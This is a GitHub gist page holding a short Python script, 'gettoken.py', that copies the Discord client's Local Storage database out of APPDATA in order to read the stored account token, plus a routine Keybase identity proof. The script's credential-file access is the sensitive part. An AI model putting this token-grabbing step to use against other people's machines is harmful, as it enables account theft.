Skip to content

Instantly share code, notes, and snippets.

View adamaharony's full-sized avatar

Adam A. adamaharony

View GitHub Profile
@adamaharony
adamaharony / gettoken.py
Created November 30, 2017 18:22
Discord get token from local DB
import shutil
import os
import sqlite3
IsCanary = False
if IsCanary:
shutil.copy(os.getenv('APPDATA') + '\discordcanary\Local Storage\https_canary.discordapp.com_0.localstorage', 'localstorage.db')
else:
shutil.copy(os.getenv('APPDATA') + '\discord\Local Storage\https_discordapp.com_0.localstorage', 'localstorage.db')

Keybase proof

I hereby claim:

  • I am cringyadam on github.
  • I am cringyadam (https://keybase.io/cringyadam) on keybase.
  • I have a public key ASCcOpg7rNI-ER_4miL13KDQ3iTXnv5ZtKiOwQ17t3wx0Ao

To claim this, I am signing this object: